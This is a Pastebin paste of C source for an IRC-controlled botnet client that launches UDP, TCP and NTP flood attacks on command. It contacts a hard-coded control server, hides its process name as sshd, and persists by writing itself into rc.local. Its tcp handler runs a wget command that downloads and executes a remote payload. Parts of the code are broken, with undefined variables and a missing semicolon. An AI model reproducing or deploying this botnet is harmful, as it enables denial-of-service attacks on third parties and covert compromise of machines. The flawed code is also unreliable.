Advertisement
VulnSec

IRC Bot

Sep 17th, 2018
503
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.86 KB | None | 0 0
  1. ****************************************
  2. * The SpiderNeT *
  3. * ~B1NARY~ *
  4. ****************************************
  5.  
  6. /*
  7. available commands:
  8.  
  9. !* std <target> <port> <secs>
  10. !* unknown <target> <time>
  11. !* killall
  12. !* tcp <IP> <PORT> <SECONDS>
  13. */
  14.  
  15. #define STARTUP //set to define if rooted
  16. #undef IDENT
  17. #define FAKENAME "/usr/sbin/sshd"
  18. #define CHAN "#SPIDERWEB"
  19. #define KEY "SPIDERS"
  20. #define PORT 443
  21. #define PASS ""
  22. #define STD2_STRING "std"
  23. #define STD2_SIZE 50
  24. #define PREFIX "[SPIDER]"
  25. int numservers=1;
  26. char *servers[] = {
  27. "185.62.188.196",
  28. (void*)0
  29. };
  30.  
  31. #include <stdarg.h>
  32. #include <errno.h>
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <string.h>
  36. #include <sys/types.h>
  37. #include <sys/stat.h>
  38. #include <fcntl.h>
  39. #include <strings.h>
  40. #include <netinet/in.h>
  41. #include <unistd.h>
  42. #include <sys/time.h>
  43. #include <sys/socket.h>
  44. #include <signal.h>
  45. #include <arpa/inet.h>
  46. #include <netdb.h>
  47. #include <time.h>
  48. #include <sys/wait.h>
  49. #include <sys/ioctl.h>
  50.  
  51. int sock,changeservers=0;
  52. char *server, *chan, *key, *nick, *ident, *prefix, *user, *pass, disabled=0, udpTry = 0, *adminuser1="Fine";
  53. unsigned int *pids;
  54. unsigned long spoofs=0, spoofsm=0, numpids=0;
  55.  
  56. int strwildmatch(unsigned char* pattern, unsigned char* string) {
  57. switch((unsigned char)*pattern) {
  58. case '\0': return *string;
  59. case 'b': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  60. case 'o': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  61. case 't': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  62. case 'B': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  63. case 'O': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  64. case 'T': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  65. case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  66. default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  67. }
  68. }
  69. int Send(int sock, char *words, ...) {
  70. static char textBuffer[1024];
  71. va_list args;
  72. va_start(args, words);
  73. vsprintf(textBuffer, words, args);
  74. va_end(args);
  75. return write(sock,textBuffer,strlen(textBuffer));
  76. }
  77. unsigned int host2ip(char *sender,char *hostname) {
  78. static struct in_addr i;
  79. struct hostent *h;
  80. if((i.s_addr = inet_addr(hostname)) == -1) {
  81. if((h = gethostbyname(hostname)) == NULL) {
  82. Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  83. exit(0);
  84. }
  85. bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  86. }
  87. return i.s_addr;
  88. }
  89. int mfork(char *sender) {
  90. unsigned int parent, *newpids, i;
  91. if (disabled == 1) {
  92. Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  93. return 1;
  94. }
  95. parent=fork();
  96. if (parent <= 0) return parent;
  97. numpids++;
  98. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  99. for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  100. newpids[numpids-1]=parent;
  101. free(pids);
  102. pids=newpids;
  103. return parent;
  104. }
  105. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  106. char *makestring() {
  107. char *tmp;
  108. int len=(rand()%5)+4,i;
  109. FILE *file;
  110. tmp=(char*)malloc(len+1);
  111. memset(tmp,0,len+1);
  112. char *pre;
  113. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  114. else {
  115. int a=((rand()*rand())%45402)+1;
  116. char buf[1024];
  117. for (i=0;i<a;i++) fgets(buf,1024,file);
  118. memset(buf,0,1024);
  119. fgets(buf,1024,file);
  120. filter(buf);
  121. memcpy(tmp,buf,len);
  122. fclose(file);
  123. }
  124. return tmp;
  125. }
  126. void identd() {
  127. int sockname,sockfd,sin_size,tmpsock,i;
  128. struct sockaddr_in my_addr,their_addr;
  129. char szBuffer[1024];
  130. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  131. my_addr.sin_family = AF_INET;
  132. my_addr.sin_port = htons(113);
  133. my_addr.sin_addr.s_addr = INADDR_ANY;
  134. memset(&(my_addr.sin_zero), 0, 8);
  135. if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  136. if (listen(sockfd, 1) == -1) return;
  137. if (fork() == 0) return;
  138. sin_size = sizeof(struct sockaddr_in);
  139. if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  140. for(;;) {
  141. fd_set bla;
  142. struct timeval timee;
  143. FD_ZERO(&bla);
  144. FD_SET(tmpsock,&bla);
  145. timee.tv_sec=timee.tv_usec=60;
  146. if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  147. if (FD_ISSET(tmpsock,&bla)) break;
  148. }
  149. i = recv(tmpsock,szBuffer,1024,0);
  150. if (i <= 0 || i >= 20) exit(0);
  151. szBuffer[i]=0;
  152. if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  153. if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  154. Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  155. close(tmpsock);
  156. close(sockfd);
  157. exit(0);
  158. }
  159.  
  160. //STD Attack
  161. void std(int sock, char *sender, int argc, char **argv) {
  162. if (argc < 3) {
  163.  
  164. Send(sock,"PRIVMSG %s :!* +std <target> <port> <secs>\n",chan);
  165. exit(1);
  166.  
  167. }
  168. unsigned long secs;
  169.  
  170. int iSTD_Sock;
  171.  
  172. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  173.  
  174. time_t start = time(NULL);
  175. secs = atol(argv[3]);
  176. if (mfork(sender) != 0) return;
  177. Send(sock,"PRIVMSG %s :[STD]Hitting %s!\n",chan,argv[1]);
  178.  
  179. struct sockaddr_in sin;
  180.  
  181. struct hostent *hp;
  182.  
  183. hp = gethostbyname(argv[1]);
  184.  
  185. bzero((char*) &sin,sizeof(sin));
  186. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  187. sin.sin_family = hp->h_addrtype;
  188. sin.sin_port = atol(argv[2]);
  189.  
  190. unsigned int a = 0;
  191.  
  192. while(1){
  193. if (a >= 50)
  194. {
  195. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  196. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  197. if (time(NULL) >= start + secs)
  198. {
  199. Send(sock, "PRIVMSG %s :[STD]Done hitting %s!\n", chan, argv[1]);
  200. close(iSTD_Sock);
  201. exit(0);
  202. }
  203. a = 0;
  204. }
  205. a++;
  206. }
  207.  
  208.  
  209. }
  210.  
  211. void stop(int sock, char *sender, int argc, char **argv){
  212. unsigned long i;
  213. for (i=0;i<numpids;i++) {
  214. if (pids[i] != 0 && pids[i] != getpid()) {
  215. if (sender) Send(sock,"PRIVMSG %s :Killing pid %d.\n",chan,pids[i]);
  216. kill(pids[i],9);
  217. }
  218. }
  219. }
  220. //Unknown Attack
  221. void unknown(int sock, char *sender, int argc, char **argv) {
  222. int flag=1,fd,i;
  223. unsigned long secs;
  224. char *buf=(char*)malloc(9216);
  225. struct hostent *hp;
  226. struct sockaddr_in in;
  227.  
  228. time_t start=time(NULL);
  229.  
  230. if (mfork(sender) != 0) return;
  231.  
  232. if (argc != 2) {
  233. Send(sock,"PRIVMSG %s :!* unknown <target> <secs>\n",chan);
  234. exit(1);
  235. }
  236.  
  237. secs=atol(argv[2]);
  238.  
  239. memset((void*)&in,0,sizeof(struct sockaddr_in));
  240.  
  241. in.sin_addr.s_addr=host2ip(sender,argv[1]);
  242. in.sin_family = AF_INET;
  243.  
  244. Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
  245.  
  246. while(1) {
  247.  
  248. in.sin_port = rand();
  249.  
  250. if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
  251. } else {
  252. flag=1;
  253. ioctl(fd,FIONBIO,&flag);
  254. sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  255. close(fd);
  256. }
  257.  
  258. if (i >= 50) {
  259. if (time(NULL) >= start+secs) break;
  260. i=0;
  261. }
  262. i++;
  263. }
  264. Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
  265. close(fd);
  266. exit(0);
  267. }
  268.  
  269. //TCP ATTACK
  270. void tcp(int sock, char *sender, int argc, char **argv) {
  271. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  272. system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  273. if (disabled == 1) {
  274. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  275. return;
  276. }
  277. if (TCPON == 0) {
  278. return;
  279. }
  280. unsigned int d;
  281. unsigned long secs4;
  282. time_t start=time(NULL);
  283. if (mfork(sender) != 0) return;
  284. if (argc < 3) {
  285. Send(sock,"NOTICE %s :>bot +tcp <IP> <PORT> <SECONDS>\n",sender);
  286. exit(1);
  287. }
  288. Send(sock,"NOTICE %s :TCP is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  289. chdir("/usr/lib");
  290. char system_ste[256];
  291. snprintf(system_ste, 256, "./.t %s %s 40 -1 %s",argv[1],argv[2],argv[3]);
  292. system(system_ste);
  293. secs4=atol(argv[3]);
  294. while(1){
  295. if (d >= 50) {
  296. if (time(NULL) >= start+secs4) break;
  297. d=0;
  298. }
  299. d++;
  300. }
  301. Send(sock,"NOTICE %s :TCP attack finished on %s!\n",sender,argv[1]);
  302. } else {
  303. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  304. }
  305. }
  306.  
  307. //NTP ATTACK
  308. void ntp(int sock, char *sender, int argc, char **argv) {
  309. if (strcasecmp(users1,sender) == 0 || strcasecmp(users2,sender) == 0 || strcasecmp(users3,sender) == 0 || strcasecmp(users4,sender) == 0 || strcasecmp(users5,sender) == 0 || strcasecmp(users6,sender) == 0 || strcasecmp(users7,sender) == 0 || strcasecmp(users8,sender) == 0 || strcasecmp(users9,sender) == 0 || strcasecmp(users10,sender) == 0 || strcasecmp(adminuser1,sender) == 0){
  310. if (disabled == 1) {
  311. Send(sock,"NOTICE %s :My commands are disabled!\n",sender);
  312. return;
  313. }
  314. if (NTPON == 0) {
  315. return;
  316. }
  317. unsigned int d;
  318. unsigned long secs4;
  319. time_t start=time(NULL);
  320. if (mfork(sender) != 0) return;
  321. if (argc < 3) {
  322. Send(sock,"NOTICE %s :>bot +ntp <IP> <PORT> <SECONDS>\n",sender);
  323. exit(1);
  324. }
  325. Send(sock,"NOTICE %s :NTP is flooding %s on port %s for %s seconds!\n",sender,argv[1],argv[2],argv[3]);
  326. chdir("/usr/lib");
  327. char system_std[256];
  328. snprintf(system_std, 256, "./.n %s %s .n.txt 100 -1 %s",argv[1],argv[2],argv[3]);
  329. system(system_std);
  330. secs4=atol(argv[3]);
  331. while(1){
  332. if (d >= 50) {
  333. if (time(NULL) >= start+secs4) break;
  334. d=0;
  335. }
  336. d++;
  337. }
  338. Send(sock,"NOTICE %s :NTP attack finished on %s!\n",sender,argv[1]);
  339. } else {
  340. Send(sock,"NOTICE %s :Your nickname is not on this script.\n",sender);
  341. }
  342. }
  343.  
  344. //Kill THE ATTACK
  345. void killall(int sock, char *sender, int argc, char **argv) {
  346. unsigned long i;
  347. for (i=0;i<numpids;i++) {
  348. if (pids[i] != 0 && pids[i] != getpid()) {
  349. if (sender) Send(sock,"NOTICE %s :Killing All Current Attacks %d.\n",sender,pids[i]);
  350. kill(pids[i],9);
  351. }
  352. }
  353. }
  354. void killsec(int sock, char *sender, int argc, char **argv) {
  355.  
  356. if(strcasecmp(adminuser1,sender) == 0){
  357.  
  358. kill(0,9);
  359.  
  360. } else {
  361.  
  362. Send(sock,"PRIVMSG %s :Nice try...\n", chan);
  363.  
  364. }
  365. }
  366.  
  367. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  368. { "STD", std },
  369. { "UDP", udp },
  370. { "TCP", tcp },
  371. { "STOP", stop },
  372. { "UNKNOWN", unknown },
  373. { "Kkt9x4JApM0RuSqCLA", killsec },
  374. { "KILLALL", killall },
  375. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  376.  
  377. void _PRIVMSG(int sock, char *sender, char *str) {
  378. int i;
  379. char *to, *message;
  380.  
  381. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  382. str[i]=0;
  383. to=str;
  384. message=str+i+2;
  385. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  386. sender[i]=0;
  387. if (*message == '>' && !strcasecmp(to,chan)) {
  388. char *params[12], name[1024]={0};
  389. int num_params=0, m;
  390. message++;
  391. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  392. message[i]=0;
  393. if (strwildmatch(message,nick)) return;
  394. message+=i+1;
  395. m=strlen(message);
  396. for (i=0;i<m;i++) {
  397. if (*message == ' ' || *message == 0) break;
  398. name[i]=*message;
  399. message++;
  400. }
  401. for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  402. num_params++;
  403. if (num_params > 10) num_params=10;
  404. params[0]=name;
  405. params[num_params+1]="\0";
  406. m=1;
  407. while (*message != 0) {
  408. message++;
  409. if (m >= num_params) break;
  410. for (i=0;i<strlen(message) && message[i] != ' ';i++);
  411. params[m]=(char*)malloc(i+1);
  412. strncpy(params[m],message,i);
  413. params[m][i]=0;
  414. m++;
  415. message+=i;
  416. }
  417. for (m=0; flooders[m].cmd != (char *)0; m++) {
  418. if (!strcasecmp(flooders[m].cmd,name)) {
  419. flooders[m].func(sock,sender,num_params-1,params);
  420. for (i=1;i<num_params;i++) free(params[i]);
  421. return;
  422. }
  423. }
  424. }
  425. }
  426. void _376(int sock, char *sender, char *str) {
  427. Send(sock,"MODE %s +pixB\n",nick);
  428. Send(sock,"JOIN %s :%s\n",chan,key);
  429. Send(sock,"WHO %s\n",nick);
  430. }
  431. void _PING(int sock, char *sender, char *str) {
  432.  
  433. Send(sock,"PONG %s\n",str);
  434.  
  435. }
  436.  
  437. void _352(int sock, char *sender, char *str) {
  438. int i,d;
  439. char *msg=str;
  440. struct hostent *hostm;
  441. unsigned long m;
  442. for (i=0,d=0;d<5;d++) {
  443. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  444. if (i == strlen(str)) return;
  445. }
  446. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  447. msg[i]=0;
  448. if (!strcasecmp(msg,nick) && !spoofsm) {
  449. msg=str;
  450. for (i=0,d=0;d<3;d++) {
  451. for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  452. if (i == strlen(str)) return;
  453. }
  454. for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  455. msg[i]=0;
  456. if ((m = inet_addr(msg)) == -1) {
  457. if ((hostm=gethostbyname(msg)) == NULL) {
  458. Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  459. return;
  460. }
  461. memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  462. }
  463. ((char*)&spoofs)[3]=((char*)&m)[0];
  464. ((char*)&spoofs)[2]=((char*)&m)[1];
  465. ((char*)&spoofs)[1]=((char*)&m)[2];
  466. ((char*)&spoofs)[0]=0;
  467. spoofsm=256;
  468. }
  469. }
  470. void _433(int sock, char *sender, char *str) {
  471. free(nick);
  472. char tempnick[50];
  473. char *strpref = PREFIX;
  474. char *genname = makestring();
  475. strcpy(tempnick,strpref);
  476. strcat(tempnick,genname);
  477. nick=tempnick;
  478. }
  479. void _NICK(int sock, char *sender, char *str) {
  480. int i;
  481. for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  482. sender[i]=0;
  483. if (!strcasecmp(sender,nick)) {
  484. if (*str == ':') str++;
  485. if (nick) free(nick);
  486. nick=strdup(str);
  487. }
  488. }
  489.  
  490. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  491. { "352", _352 },
  492. { "376", _376 },
  493. { "433", _433 },
  494. { "422", _376 },
  495. { "PRIVMSG", _PRIVMSG },
  496. { "PING", _PING },
  497. { "NICK", _NICK },
  498. { (char *)0, (void (*)(int,char *,char *))0 } };
  499. void con() {
  500. struct sockaddr_in srv;
  501. unsigned long ipaddr,start;
  502. int flag;
  503. struct hostent *hp;
  504. start:
  505. sock=-1;
  506. flag=1;
  507. if (changeservers == 0) server=servers[rand()%numservers];
  508. changeservers=0;
  509. while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  510. if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  511. if ((hp = gethostbyname(server)) == NULL) {
  512. server=NULL;
  513. close(sock);
  514. goto start;
  515. }
  516. bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  517. }
  518. else srv.sin_addr.s_addr=inet_addr(server);
  519. srv.sin_family = AF_INET;
  520. srv.sin_port = htons(PORT);
  521. ioctl(sock,FIONBIO,&flag);
  522. start=time(NULL);
  523. while(time(NULL)-start < 10) {
  524. errno=0;
  525. if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  526. setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  527. setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  528. setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  529. return;
  530. }
  531. if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  532. sleep(1);
  533. }
  534. server=NULL;
  535. close(sock);
  536. goto start;
  537. }
  538. int main(int argc, char *argv[]) {
  539. int on,i;
  540. char cwd[256],*str;
  541. FILE *file;
  542. #ifdef STARTUP
  543. str="/etc/rc.d/rc.local";
  544. file=fopen(str,"r");
  545. if (file == NULL) {
  546. str="/etc/rc.conf";
  547. file=fopen(str,"r");
  548. }
  549. if (file != NULL) {
  550. char outfile[256], buf[1024];
  551. int i=strlen(argv[0]), d=0;
  552. getcwd(cwd,256);
  553. if (strcmp(cwd,"/")) {
  554. while(argv[0][i] != '/') i--;
  555. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  556. while(!feof(file)) {
  557. fgets(buf,1024,file);
  558. if (!strcasecmp(buf,outfile)) d++;
  559. }
  560. if (d == 0) {
  561. FILE *out;
  562. fclose(file);
  563. out=fopen(str,"a");
  564. if (out != NULL) {
  565. fputs(outfile,out);
  566. fclose(out);
  567. }
  568. }
  569. else fclose(file);
  570. }
  571. else fclose(file);
  572. }
  573. #endif
  574. if (fork()) exit(0);
  575. #ifdef FAKENAME
  576. strncpy(argv[0],FAKENAME,strlen(argv[0]));
  577. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  578. #endif
  579. srand((time(NULL) ^ getpid()) + getppid());
  580. char tempnick[50];
  581. char *strpref = PREFIX;
  582. char *genname = makestring();
  583.  
  584. strcpy(tempnick,strpref);
  585. strcat(tempnick,genname);
  586.  
  587. nick=tempnick;
  588. ident="Remote";
  589. user="Remote IRC Bot";
  590. chan=CHAN;
  591. key=KEY;
  592. pass=PASS;
  593. server=NULL;
  594. sa:
  595. #ifdef IDENT
  596. for (i=0;i<numpids;i++) {
  597. if (pids[i] != 0 && pids[i] != getpid()) {
  598. kill(pids[i],9);
  599. waitpid(pids[i],NULL,WNOHANG);
  600. }
  601. }
  602. pids=NULL;
  603. numpids=0;
  604. identd();
  605. #endif
  606.  
  607. con();
  608. Send(sock,"PASS %s\n", pass);
  609. Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  610. while(1) {
  611. unsigned long i;
  612. fd_set n;
  613. struct timeval tv;
  614. FD_ZERO(&n);
  615. FD_SET(sock,&n);
  616. tv.tv_sec=60*20;
  617. tv.tv_usec=0;
  618. if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  619. for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  620. unsigned int *newpids,on;
  621. for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  622. pids[on-1]=0;
  623. numpids--;
  624. newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  625. for (on=0;on<numpids;on++) newpids[on]=pids[on];
  626. free(pids);
  627. pids=newpids;
  628. }
  629. if (FD_ISSET(sock,&n)) {
  630. char buf[4096], *str;
  631. int i;
  632. if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  633. buf[i]=0;
  634. str=strtok(buf,"\n");
  635. while(str && *str) {
  636. char name[1024], sender[1024];
  637. filter(str);
  638. if (*str == ':') {
  639. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  640. str[i]=0;
  641. strcpy(sender,str+1);
  642. strcpy(str,str+i+1);
  643. }
  644. else strcpy(sender,"*");
  645. for (i=0;i<strlen(str) && str[i] != ' ';i++);
  646. str[i]=0;
  647. strcpy(name,str);
  648. strcpy(str,str+i+1);
  649. for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  650. if (!strcasecmp(name,"ERROR")) goto sa;
  651. str=strtok((char*)NULL,"\n");
  652. }
  653. }
  654. }
  655. return 0;
  656. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement